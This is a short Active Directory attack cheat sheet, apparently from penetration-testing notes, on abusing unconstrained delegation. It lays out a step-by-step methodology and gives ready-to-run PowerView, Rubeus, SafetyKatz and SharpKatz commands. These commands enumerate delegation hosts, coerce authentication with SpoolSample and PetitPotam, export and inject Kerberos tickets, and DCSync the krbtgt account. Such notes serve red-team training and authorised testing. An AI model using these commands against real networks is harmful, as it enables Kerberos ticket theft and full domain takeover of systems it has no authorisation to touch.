# unconstrained-delegation

## Methodology

1. Enumerate computers which have unconstrained delegation enabled (Ignore domain controllers).
2. Compromise the computer(s) and escalate to admin privileges.
3. Abuse printer bug or check for high value target tickets in memory.
4. Capture the TGT of the high value target.
5. Copy the ticket (remove extra spaces).
6. Pass the ticket
7. (OPTIONAL) Dcsync krbtgt.

## Powershell

> \[!INFO] Remember to follow the Powershell methodology

### PowerView

**Find computers with unconstrained delegation:**

```powershell
Get-DomainComputer -UnConstrained
```

### ActiveDirectory Module

```
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}
```

## Binaries

> \[!INFO] Remember to follow the Binaries methodology

### SafetyKatz

**Export local TGTs:**

```batchfile
SafetyKatz.exe '"sekurlsa::tickets /export"'
```

**Reuse TGTs:**

```batchfile
SafetyKatz.exe '"kerberos::ptt ticket.kirbi"'
```

### Rubeus

**Monitor the target for the TGT:**

```batchfile
Rubeus.exe monitor /targetuser:target$ /interval:5 /nowrap
```

**Abuse printer bug:** <https://github.com/leechristensen/SpoolSample> <https://github.com/topotam/PetitPotam>

```batchfile
# With SpoolSample
MS-RPRN.exe \\target.contoso.local \\unconstrained.contoso.local

# With PetitPotam
PetitPotam.exe target unconstrained
```

**Pass the ticket:**

```batchfile
Rubeus.exe ptt /ticket:doIFsjCCBa6gAwIBBaEDAgEWooI...
```

**Run DCSync after injecting the ticket**

```
SafetyKatz.exe '"lsadump::dcsync /user:us\krbtgt"'
C:\AD\Tools\SharpKatz.exe --Command dcsync --User us\krbtgt --Domain us.techcorp.local --DomainController us-dc.us.techcorp.local
```
